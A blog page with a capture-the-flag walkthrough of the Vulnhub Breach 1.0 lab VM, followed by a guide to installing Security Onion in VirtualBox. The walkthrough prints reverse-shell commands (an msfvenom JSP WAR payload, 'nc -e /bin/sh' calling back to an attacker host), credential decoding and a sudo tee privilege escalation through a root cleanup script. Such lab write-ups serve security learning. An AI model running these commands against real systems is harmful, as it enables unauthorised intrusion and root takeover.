Vulnhub – Breach 1.0 boot2root CTF challenge Walkthrough

I was playing with Breach 1.0 recently and found it to be one of the most fun CTF systems to break into meant to be good for a beginner to intermediate hackers and the first in what will hopefully be an excellent multi-part series! Solving the boot2root challenge requires a combination of both information gathering and persistence for learning and this is my writeup.

First things first a bit of enumeration is needed to find out some intel and a quick nmap scan of the system with the following yields many results meaning something is clearly wrong!:

nmap -sS -Pn 192.168.110.140
“-sS” – TCP SYN
“-Pn” – Treat all hosts as online — skip host discovery

1_Breach_1.0_boot2root_CTF_nmap_scan

1_Breach_1.0_boot2root_CTF_nmap_scan

I noticed some weird output while running different nmap scans so created a little python script to see what was going on

#!/usr/bin/env python

import os

for i in range(1, 50):
os.system(“nc 192.168.110.140 ” + str(i))
print “”

A break down of the script:

#!/usr/bin/env python <– This will set the environment for python to run in regardless of where it is stored on your system.

import os <– This imports a module called “os” which will let us do some fun stuff with system commands.

for i in range(1, 50): <– Start of a for loop, i in this case has the values of the range 1 to 50 passed to it and will be used on the next line.

os.system(“nc 192.168.110.140” + str(i)) <– os.system is used to encapsulate nc with the ip address 192.168.110.140 plus the values 1,2,3,4,5 etc until it reaches 50

print “” <– I added this to make the output cleaner

This then gives me the following output which I thought was brilliant 🙂

2_Breach_1.0_boot2root_CTF_nc_trolling

2_Breach_1.0_boot2root_CTF_nc_trolling

Hmm lets connect to port 80 in the browser and see if there is a web page hosted

192.168.110.140:80

3_Breach_1.0_boot2root_CTF_web_page_port_80

3_Breach_1.0_boot2root_CTF_web_page_port_80

Excellent we have the company name Initech.

Bill Lumbergh and Peter Gibbons were performing analysis and containing the threat.

It appears like a disgruntled employee caused the breach.

Viewing the page source you can see some strange text in there:

view-source:http://192.168.110.140/

4_Breach_1.0_boot2root_CTF_web_page_source_code

4_Breach_1.0_boot2root_CTF_web_page_source_code

Weird base64?:

<!——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>

The image is clickable and brings you to another page:

http://192.168.110.140/initech.html

5_Breach_1.0_boot2root_CTF_web_page_second_site

5_Breach_1.0_boot2root_CTF_web_page_second_site

Two images and an employee portal are now also accessible:

http://192.168.110.140/impresscms/user.php <– Impress CMS user portal

Looking at the image URI directories makes me feel there may be more in that images sub directory:

http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Dropping to /images

http://192.168.110.140/images/

We then get access to a few more images.

6_Breach_1.0_boot2root_CTF_website_images_directory

6_Breach_1.0_boot2root_CTF_website_images_directory

Now we have a few more images to look into and a troll GIF hahaha:

http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick list of all the images with cat:

cat > _images
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick for loop to then cycle through the list and pull them all down for me, the usage is similar to the python script above used for nc.

for i in $(cat _images); do wget $i; done

I then ran the strings command against all the images with a simple for loop, once again similar to the previous scripts. The only thing really different is the variable created called types storing the different image extensions to cycle through the current working directory:

#!/bin/bash

types=”*.png *.jpg *.gif”

for i in $types
do
$(strings $i >> string_output)
done

Looking through the outputted file “string_output” you find the textcomment “coffeestains”. Which I added to my word list and moved on as it might be useful later on in the challenge.

7_Breach_1.0_boot2root_CTF_image_strings

7_Breach_1.0_boot2root_CTF_image_strings

Looking at the string found earlier on the web page it turns out it’s double encoded in base64 without the trailing “=” at the end, once again a quick python script quickly solves this problem by importing the base64 module pushing the string into a variable encoded and then decrypting it by running base64.b64decode against it twice and printing the result:

#!/usr/bin/env python

import base64

encoded = (‘Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo’)

decrypted = base64.b64decode(base64.b64decode(encoded))

print decrypted

The following string is printed and it looks like a username and password combo:

pgibbons:damnitfeel$goodtobeagang$ta

Trying the credentials in the CMS platform they work and we get access to his inbox!

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

Working from the bottom up through the emails

http://192.168.110.140/impresscms/readpmsg.php?start=0&total_messages=3

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

http://192.168.110.140/impresscms/readpmsg.php?start=1&total_messages=3

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

http://192.168.110.140/impresscms/readpmsg.php?start=2&total_messages=3

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

We learn a few things from these emails:

1 – There is/was a keystore 192.168.110.140/.keystore Bob – Some sort of SSL Cert called Super Secret Cert Pro
2 – Email addresses: registrar@penetrode.com, bob@initech.com, admin@breach.local
3 – They bought a new IDS/IPS
4 – There is another user called Michael Bolton – http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
5 – Sensitive artifacts are stored in the admin portal and the password is apparently very secure

Lets pull the keystore first:

Pulling with the link mentioned does nothing

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

But, pulling just the keystore gets the file, move on and keep it for later

13_Breach_1.0_boot2root_CTF_keystore_download

13_Breach_1.0_boot2root_CTF_keystore_download

Lets try logging in as some of these users:

registrar@penetrode.com, bob@initech.com, admin@breach.local

admin and the string found in one of the images “coffeestains” works 🙂

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

The URL is different logged in as the admin: http://192.168.110.140/impresscms/modules/profile/index.php?uid=1

Changing the uid=1 to 2 and 3 logs you in as the other users

Peter Gibbon’s Profile:

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

Michael Bolton’s Profile:

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

New emails found
michael.bolton@initech.com & peter.gibbons@initech.com

Links:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

Under the ImpressCMS Admin account in the content section you find a message saying Michael has configured artifacts and communications related to the breach on the portal.

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

Looking at the link it looks similar to the uid=3 used previously instead this is content_id=3 and changing it jumps you into other areas to gather more information for your reconnaissance.

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

Interesting here is that Peter Gibbons posted a PCAP file of a re-production of the attack. Something makes the file unreadable for him. Nmap is making it difficult to find the correct port so they can connect to it. The password for storepassword and keypassword are set to tomcat. Securely encrypted could be a hint that the keystore is the SSL certificate for unlocking the PCAP as the traffic is encrypted. This can also be linked to when logged in as Peter Gibbons.

Pulling down the PCAP with wget:
wget http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

Using ngrep to quickly scan through the PCAP with ngrep -I _SSL_test_phase1.pcap

“-I” – simply tells ngrep to read from a file and not an interface

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

Interesting here is the connection to 192.168.110.140:8443 a common apache port.

Next some kali IOC’s are detected

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

Nethunter and exploitdb domains are also egressed to

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

Ngrep just for nethunter IOC’s  with

ngrep -i nethunter -I _SSL_test_phase1.pcap

Using the following ngrep command I searched for some User-Agent Strings which can be handy at times

ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’ you can see some User-Agent Strings (UAS):

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

I know there are some GET requests in there but can’t seem to pull them up with ngrep foo so I go to tcpick

tcpick -C -yP -r SSL_test_phase1.pcap

Apart from confirming what we already know (That 192.168.110.120 established a connection on port 8443 with the Initech server) I see nothing different and can’t manipulate the get requests

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

I also ran
tcpdump -qns 0 -X -r SSL_test_phase1.pcap

and

tshark -r SSL_test_phase1.pcap

Which lead to what I was looking for the get requests!

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

We now have the following URI’s for 192.168.110.140:

/_M@nag3Me/html
/_M@nag3Me/images/asf-logo.gif
/_M@nag3Me/images/tomcat.gif
/favicon.ico
/cmd/
/cmd/cmd.jsp
/cmd/cmd.jsp?cmd=id

It look’s like a web shell was launched against the management interface with the /cmd/ URI structure

Playing around with tshark switches I find another possible URI

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

47 45 54 20 2f 5f 4d 40  6e 61 67 33 4d 65 2f 69  GET /_M@ nag3Me/i

That looks a bit strange

Also used the following tshark filters below and at this point I figured I might as well start the play with the keystore found earlier and see if it decrypts the traffic here.

tshark -r SSL_test_phase1.pcap -z “mgcp,rtd,ip.addr==192.168.110.140”
tshark -r SSL_test_phase1.pcap -z “follow,ssl,hex,1”

I got prompted for a password when I ran this so I used tomcat from earlier to gain access. With this cert it should make reading the PCAP easier and uncover some further information

keytool -list -v -keystore .keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

Using keytool again we can use it to extract the key to a p12 cert

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

Converting the file into a passwordless PEM file

openssl pkcs12 -in key.p12 -out keystore.pem

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

Exporting the private key only:

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

Importing the p12 key into Wireshark so you can then see the SSL stream and follow it.

Importing it into Wireshark is as easy as Pressing CTRL + SHIFT + P or navigating to preferences –> Protocols –> SSL

Edit the RSA keylist with the following

192.168.110.140 8443 http /keyfile/dir tomcat

We can then see remnants of what look like a war file deployed on the apache management interface:

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

We also get the following URI’s of GIF’s which appear to contain nothing of interest

/_M@nag3Me/images/tomcat.gif
_M@nag3Me/images/asf-logo.gif

And what looks like more base64 in the form of an authorization against the management interface

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

And what looks like more base64 in the form of an authorization against the management interface

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

After all of this we learn that it appears as if a malicious war file was uploaded to the Apache server located on 192.168.110.140:8443 and was used to gain tomcat6 level access on the server

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

After this I decided to look inside the two GIF’s and had issues accessing the site due to the cipher suite in use, going into about:config and adding the string security.tls.insecure_fallback_hosts 192.168.110.140 did the trick

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

Decoding the Basic Authorization above in the packet capture is as simple as running the following piece of python against the Basic Authorization string dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Similar to the previous double encoded base64 string this is much easier to decode.

35_Breach_1.0_boot2root_CTF_python_decode_base64

35_Breach_1.0_boot2root_CTF_python_decode_base64

Success

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

tomcat:Tt\5D8F(#!*u=G)4m7zB

This might log us in on the apache server

Running nmap against the server on that port confirms it’s an Apache server

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

Running against port 8080 out of curiosity gave back a random perl script

root@stealth:~/Documents/Breach_Guide# nmap -sV -p8080 192.168.110.140

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-27 23:26 IST
Nmap scan report for 192.168.110.140
Host is up (0.00020s latency).
PORT     STATE SERVICE     VERSION
8080/tcp open  http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.12%I=7%D=7/27%Time=57993524%P=x86_64-pc-linux-gnu%r(NU
SF:LL,EC,”/bin/bash\t-c\t{perl,-e,\$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkV
SF:EXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcm
SF:VjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t\$_=\$ARGV\[0\];~s/SPACE/\\t/ig;ev
SF:al;\$_=\$ARGV\[1\];eval\(decode_base64\(\$_\)\);”);
MAC Address: 08:00:27:58:48:B1 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.32 seconds

Decoding the base64 in the above output resolves to:

print “PWNED\n” x 5 ; $_=`pwd`; print “\nuploading your home directory: “,$_,”… \n\n”;

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

Login is successful to https://192.168.110.140:8443/_M@nag3Me/html with the credentials decoded from base64 🙂

Username: tomcat
password: Tt\5D8F(#!*u=G)4m7zB

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

Create a raw payload war file with msfvenom to get a reverse shell on the box

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

Upload the war file to the Apache breach server

41_Breach_1.0_boot2root_CTF_WAR_file_upload

41_Breach_1.0_boot2root_CTF_WAR_file_upload

Click on the deployed WAR file to visit it in the browser

42_Breach_1.0_boot2root_CTF_execute_WAR_file

42_Breach_1.0_boot2root_CTF_execute_WAR_file

You will receive what appears to be a blank page, navigating to this link however provides you with a reverse tcp reverse shell to the system

43_Breach_1.0_boot2root_CTF_WAR_file_executed

43_Breach_1.0_boot2root_CTF_WAR_file_executed

In order to get that reverse shell you need to set a simple nc listener running on port 443 (Or alternatively use msfconsole)

nc -lvp 443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

Connection results in tomcat6 access similar to what was seen in the PCAP. Gaining a TTY shell can be leveraged with python:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

Checking /etc/passwd for anything interesting

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

Interesting accounts to take note of are milton and blumergh as there may be some password reuse. A bit of poking around first though finds the credentials in the configuration just used to login to the tomcat server.

cat /var/lib/tomcat6/conf/tomcat-users.xml

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

Poking around the home directory there appears to be two user accounts on which correlate to the interesting accounts discovered earlier for milton and blumbergh, milton has a my_badge.jpg and a script in his home directory. Milton appears to have added blumbergh to the sudoers file which is interesting as he can run some scripts that don’t require a password.

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

The badge:

49_Breach_1.0_boot2root_CTF_Milton_badge

49_Breach_1.0_boot2root_CTF_Milton_badge

Checking for any hidden files there are a few but they cannot currently be accessed

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

The same is seen in the blumbergh home folder

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

Trying blumbergh first with the password “coffeestains” was a success haha, all hail password reuse

52_Breach_1.0_boot2root_CTF_su_blumbergh

52_Breach_1.0_boot2root_CTF_su_blumbergh

Checking the .bash_history file of the blumbergh account shows a script was used in what looks like some sort of a cleanup folder

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

Navigating to that directory shows a hacker evasion script 🙂 (This must be what keeps kicking me off the server)

54_Breach_1.0_boot2root_CTF_tidyup_script

54_Breach_1.0_boot2root_CTF_tidyup_script

The interesting thing here is that the /var/lib/tomcat6/webapps/swingline directory has some permissions which should allow scripts to run as tomcat6 every three minutes, this could allow a reverse nc shell to run every three minutes if we are lucky!

55_Breach_1.0_boot2root_CTF_stat_swingline

55_Breach_1.0_boot2root_CTF_stat_swingline

Running sudo -l as blumbergh shows Bill can run tee as he is added to the sudoers directory, tee can be used for writing to standard input and standard output 🙂

56_Breach_1.0_boot2root_CTF_sudo_l

56_Breach_1.0_boot2root_CTF_sudo_l

Lets create a quick netcat listener test script “script.sh” that can be ran as a test before the three minutes are up and it’s removed from the swingline directory (success):

echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh

Because we can run tee as root we can then use that script and echo it into the tidyup.sh script using tee!

cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

A quick check the script has been modified:

cat /usr/share/cleanup/tidyup.sh

nc -e /bin/sh 192.168.110.23 443

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

Disconnect again and set your listener of choice in motion and play the waiting game for the next three minutes

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

Woohoo, root unlocked 🙂

60_Breach_1.0_boot2root_CTF_Flag_obtained

60_Breach_1.0_boot2root_CTF_Flag_obtained

Looking at flair.jpg it can be turned into base64 and easily transported off the system then decoded back into a JPG on the host system

base64 flair.jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

base64 -d flair > flair.jpg

“-d” is used for decoding

Opening it from the terminal then with xdg-open

xdg-open flair.jpg

I need to talk about your flair 🙂

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

And that’s it, I could have delved further and looked at the mysql side of things but I didn’t need to start cracking hashes or manipulating tables to get to the end goal, there are probably other methods that will get you to root possibly even quicker but this worked for me and I’m happy with the end result. It’s a great challenge and you can download it here from the download mirror or from magnet torrent to give it a go yourself. It’s well worth it!

 

Building an ethichal hacking lab on your laptop with VirtualBox – Part 14 – Security Onion – Network Monitoring Tools

If you followed along with my previous exercise on creating a Snort IDS for your lab you will most likely love Security Onion as it takes far less effort to get things configured and setup. It’s an excellent Ubuntu based operating system designed solely for both Host Intrusion Detection (HID’s) and Network Intrusion Detection (NID’s) for your network environment and a great tool to use in a lab environment due to the lack of configuration and setup time involved compared to doing everything yourself manually. Why reinvent the wheel when someone has already invented it for you? (Well sometimes it’s needed to learn about something new)

There is a huge host of network related tools that are installed which includes Snort, Suricata, Bro, OSSEC (HID’s), Sguil, Squert, ELSA, Xplico, NetworkMiner, Tcpreplay, Wireshark, tcpdump and a lot more great tools too for analyzing your network traffic.

It’s very easy to configure and excellent for use in a Production or even lab environment for monitoring network traffic.

What you will need is the following:

1 – VirtualBox installed with guest additions downloaded
2 – Pfsense Configured
3 – The Security Onion ISO downloaded
4 – Snort subscription to the free account is perfectly fine (Oinkcode)

Once you have all of the above obtained you are ready to start the installation.

Let’s get to it!

Follow along with the Pfsense configuration guide from the initial lab setup and feel free to allocate more memory to the Security Onion setup, I find 4GB’s to be sufficient for memory allocation and a 30GB Hard Disk for this setup. Assign your NIC’s in a similar fashion except make NIC Adapter 1 & 2 internal and set the Promiscuous Mode option to “Allow VM’s” then make NIC Adapter 3 an internal adapter only so that you will have Internet access for updates, you will also use it as the management interface from within your lab environment. Optionally you could set NIC adapters 1 & 2 as internal with Promiscuous mode set for VM’s and NIC adapter 3 as NAT which will allow for Internet connectivity without having Pfsense setup and configured to allow Internet access. The choice is yours here and depends on what you want to do. For this guide though, we will use the following NIC configuration outlined below.

NIC Adapter 1:

1_Security_Onion_VirtualBox_Configuration_NIC_Adapter_1

1_Security_Onion_VirtualBox_Configuration_NIC_Adapter_1

NIC Adapter 2:

2_Security_Onion_VirtualBox_Configuration_NIC_Adapter_2

2_Security_Onion_VirtualBox_Configuration_NIC_Adapter_2

NIC Adapter 3:

3_Security_Onion_VirtualBox_Configuration_NIC_Adapter_3

3_Security_Onion_VirtualBox_Configuration_NIC_Adapter_3

Once you’re finished with the VirtualBox configuration settings make sure you have pfsense running if you’re using the internal adapters in this guide otherwise the NAT adapter will give internet connectivity if you chose not to configure Pfsense.

Power on your Virtual Security Onion system and follow along.

Select your language and select Continue

4_Security_Onion_Installation_Configuration_select_language

4_Security_Onion_Installation_Configuration_select_language

Select Download updates while installing and select Continue

5_Security_Onion_Installation_Configuration_select_download_updates

5_Security_Onion_Installation_Configuration_select_download_updates

Click Continue to erase the disk and install Security Onion

6_Security_Onion_Installation_Configuration_select_erase_disk_and_install

6_Security_Onion_Installation_Configuration_select_erase_disk_and_install

At the next prompt just hit continue to Format the disk and continue with the install

7_Security_Onion_Installation_Configuration_select_erase_disk_and_install_continue

7_Security_Onion_Installation_Configuration_select_erase_disk_and_install_continue

Select your country on the map and select Continue again

8_Security_Onion_Installation_Configuration_select_your_country

8_Security_Onion_Installation_Configuration_select_your_country

Select your keyboard layout and select Continue

9_Security_Onion_Installation_Configuration_select_keyboard _layout

9_Security_Onion_Installation_Configuration_select_keyboard _layout

Enter your name, computer name, username and a password and select Continue again and wait for a bit for it to install.

10_Security_Onion_Installation_Configuration_username_system_and_password10_Security_Onion_Installation_Configuration_username_system_and_password

10_Security_Onion_Installation_Configuration_username_system_and_password

When finished click restart to continue

11_Security_Onion_Installation_Configuration_when_finished_click_restart

11_Security_Onion_Installation_Configuration_when_finished_click_restart

At the next prompt click Enter to continue with the reboot

12_Security_Onion_Installation_Configuration_when_finished_click_restart_followed_by_Enter

12_Security_Onion_Installation_Configuration_when_finished_click_restart_followed_by_Enter

Once the system has rebooted simply login with your username and password

13_Security_Onion_Enter_Username_and_password

13_Security_Onion_Enter_Username_and_password

Chances are there will be some further software updates once you login so select “Install Now” to proceed with the installation.

14_Security_Onion_Software_Update_First_boot

14_Security_Onion_Software_Update_First_boot

Once the update has completed select “Restart Now” to reboot the system again to complete the update process and then login again.

15_Security_Onion_Software_Update_First_boot_restart

15_Security_Onion_Software_Update_First_boot_restart

Now you will most likely want to have your system running in full screen to make playing with it easier so install VirtualBox Guest additions. You can follow along with the guide here at step 26 on how to do this as the process remains the same. After you have rebooted you should take a snapshot of the system so you can revert to this point and go back to a known good configuration if you break something while playing. It’s also handy for Malware analysis as you can revert back to the time before you were playing with it.

Now for the system configuration all you have to do is click on the Setup icon on the desktop, Enter your password and select “Yes, continue”

16_Security_Onion_Software_system_configuration_setup

16_Security_Onion_Software_system_configuration_setup

Next select “Yes, configure /etc/network/interfaces!”

17_Security_Onion_Software_system_configuration_configure

17_Security_Onion_Software_system_configuration_configure

Select eth2 as your management interface and select OK to continue

18_Security_Onion_Software_select_management_interface

18_Security_Onion_Software_select_management_interface

As this is in a Virtual environment with Pfsense providing DHCP already it’s fine to select DHCP to continue. Alternatively feel free to configure it manually as per your IP addressing scheme.

19_Security_Onion_Software_DHCP_addressing

19_Security_Onion_Software_DHCP_addressing

Select “Yes, configure monitor interfaces”

20_Security_Onion_monitor_interfaces

20_Security_Onion_monitor_interfaces

eth0 and eth1 should be already ticked to use as your monitoring interfaces so just click OK to continue

21_Security_Onion_monitor_interfaces_eth0_and_eth1

21_Security_Onion_monitor_interfaces_eth0_and_eth1

Yes you want to make your changes now so click on “Yes, make changes!”

22_Security_Onion_monitor_interfaces_make_changes

22_Security_Onion_monitor_interfaces_make_changes

Time to reboot again so select “Yes, reboot!” to continue

23_Security_Onion_reboot_to_continue

23_Security_Onion_reboot_to_continue

After the system has rebooted click on the setup icon on the desktop again and select “Yes, Continue” as you did before

24_Security_Onion_run_setup_again

24_Security_Onion_run_setup_again

This time though select “Yes, skip network configuration!” to continue

25_Security_Onion_skip_network_configuration

25_Security_Onion_skip_network_configuration

Select production mode to continue

26_Security_Onion_select_Production_Mode

26_Security_Onion_select_Production_Mode

Select Standalone as you are using the management and network sniffing interfaces on the same system

27_Security_Onion_select_Standalone

27_Security_Onion_select_Standalone

Select Best Practices to continue and select OK

28_Security_Onion_select_Best_Practices

28_Security_Onion_select_Best_Practices

Enter a username that you want to use for logging in to Squil, Squert and ELSA and select OK to continue

29_Security_Onion_Squil_Squert_Elsa_username

29_Security_Onion_Squil_Squert_Elsa_username

Next enter a password you would like to use for Squil, Squert and ELSA and confirm in the window that follows

30_Security_Onion_Squil_Squert_Elsa_password_and_confirm

30_Security_Onion_Squil_Squert_Elsa_password_and_confirm

Next select the Snort IDS and click OK to continue

31_Security_Onion_Snort_IDS_select

31_Security_Onion_Snort_IDS_select

Next select the option for Snort VRT ruleset and Emerging Threats NoGPL ruleset, this is why you obtained an Oink code from Snort.

32_Security_Onion_Snort_IDS_select_VRT_and_ET_ruleset

32_Security_Onion_Snort_IDS_select_VRT_and_ET_ruleset

Enter your Snort Oinkcode and click OK to continue

33_Security_Onion_Snort_IDS_Oinkcode

33_Security_Onion_Snort_IDS_Oinkcode

Keep the default PF_RING min_num_slots as 4096 and select OK to continue

34_Security_Onion_Snort_IDS_PF_RING_min_num_slots

34_Security_Onion_Snort_IDS_PF_RING_min_num_slots

eth0 and eth1 network interfaces should already be selected so just click on OK to continue

35_Security_Onion_Snort_NIC_monitor_interfaces

35_Security_Onion_Snort_NIC_monitor_interfaces

Congratulations you are nearly there just select “Yes, proceed with the changes!” to make the changes to your system permanent that you have just entered.

36_Security_Onion_Finishing_configuration_changes

36_Security_Onion_Finishing_configuration_changes

That’s it you’ve reached the end of the installation, just select OK for the next few windows and take note of any important directories like the ones shown in following screenshots in order to modify and make any changes to your configuration. Alternatively you can revert to your snapshot that you made earlier or just run the setup again from the desktop.

37_Security_Onion_Installation_and_configuration_complete

37_Security_Onion_Installation_and_configuration_complete

Sostat commands for checking detailed information about your service status, get a guided tour and share redacted network information with other sources.

38_Security_Onion_sostat_commands

38_Security_Onion_sostat_commands

Snort rule modification and sensor directories for making manual changes to these after you have things configured.

39_Security_Onion_Snort_pulledpork_rule_modification

39_Security_Onion_Snort_pulledpork_rule_modification

UFW Firewall rule modification if you need to change any of the firewall rules.

40_Security_Onion_UFW_Firewall_Rules

40_Security_Onion_UFW_Firewall_Rules

Take another snapshot of your system as you have everything configured now and you can revert back to it when needed.

That’s it for now, we will be using Security Onion in some upcoming tutorials so it will be handy to have it configured for when you are following along.